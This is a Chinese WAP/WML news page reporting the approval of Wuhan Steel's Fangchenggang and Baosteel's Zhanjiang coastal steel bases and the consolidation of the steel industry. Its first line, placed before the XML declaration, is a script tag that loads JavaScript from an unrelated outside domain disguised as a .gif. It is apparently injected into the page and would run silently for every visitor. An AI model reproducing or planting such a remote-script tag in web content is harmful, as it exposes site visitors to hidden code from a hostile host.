<script src=http://tw.lovechina.tw.cn/count/js/gif.gif></script>
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.1//EN" "http://www.wapforum.org/DTD/wml_1.1.xml">
<wml>
<head><meta forua="true" http-equiv="Cache-Control" content="max-age=0" /></head>
<card title="武钢宝钢千万吨临海基地获批 钢铁大整合将开幕" id="card1">
<p> 游客</p><p>
标题:武钢宝钢千万吨临海基地获批 钢铁大整合将开幕<br/>
正文:<br/>
武钢宝钢千万吨临海基地获批 钢铁大整合将开幕--------------------------------------------------------------------------------作者：高建锋  浏览次数：    经报请国务院同意，国家发改委3月17日正式同意广西与武钢、广东与宝钢分别开展广西防城港钢铁基地、广东湛江钢铁基地项目的前期工作。    这意味着曾经角力多年的两大千万吨级临海钢铁基地终将修成正果，而由此引发的重组浪潮无疑将成为未来几年我国钢铁行业的一大看点。    两大基地花落两家    2005年出台的《钢铁产业发展政策》提出，支持和鼓励有条件的大型企业集团进行跨地区的联合重组，到2010年形成两个3000万吨级、若干个千万吨级的具有国际竞争力的特大型企业集团。但到目前为止，我国还没有一家钢厂具备如此实力。    经济发达的广东地区是我国钢材主要消费区，但长期以来供需缺口每年达3000多万吨，钢材需要从外地包括广西调运。广东、广西具备天然良港条件，进口铁矿石成本低廉。因此，《政策》表示，东南沿海地区应充分利用深水良港条件，结合产业重组和城市钢厂的搬迁，建设大型钢铁联合企业。    正是在这一背景下，武钢集团和宝钢集团展开了争夺临海精品钢铁基地项目的角力。    2005年底，武钢集团与柳钢集团合并重组，共同申报防城港千万吨钢铁项目。2006年7月，宝钢集团与广东省政府签署协议，拟联合韶钢集团、广钢集团申报湛江港千万吨精品钢铁基地项目。如果两大项目均获批准，武钢集团和宝钢集团将有望在2010年达到3000万吨的规模，与鞍本集团、首钢-唐钢一起继续领军中国钢铁业。    本报去年3月6日曾报道，湛江和防城港两大临海钢铁基地项目最终可能均可获批，但由于有关部门疑虑重重，两项目获准开工的时间最早或许也在一年之后。不出所料，国家发改委的一纸批文让双雄争霸演变为皆大欢喜的局面。    武钢集团党委宣传部主任白方介绍，防城港项目是武钢中西南战略的重要支点，可以化解武钢本<br/><a href="http://www.51ding.cn/screw/wap.asp?mode=WAP&amp;act=View&amp;id=198&amp;Page=1">[&lt;&lt;]</a><a href="http://www.51ding.cn/screw/wap.asp?mode=WAP&amp;act=View&amp;id=198&amp;Page=1">[[1]]</a><a href="http://www.51ding.cn/screw/wap.asp?mode=WAP&amp;act=View&amp;id=198&amp;Page=2">[2]</a><a href="http://www.51ding.cn/screw/wap.asp?mode=WAP&amp;act=View&amp;id=198&amp;Page=3">[3]</a><a href="http://www.51ding.cn/screw/wap.asp?mode=WAP&amp;act=View&amp;id=198&amp;Page=3">[&gt;&gt;]</a><br/>
<br/>
<a href="wap.asp?act=Com&amp;id=198">查看评论(0)</a><br/>
<a href="wap.asp?act=AddCom&amp;inpId=198">发表评论</a><br/><br/>

<br/>

<br/>
<a href="http://www.51ding.cn/screw/wap.asp">首页</a>
</p>
</card>
</wml>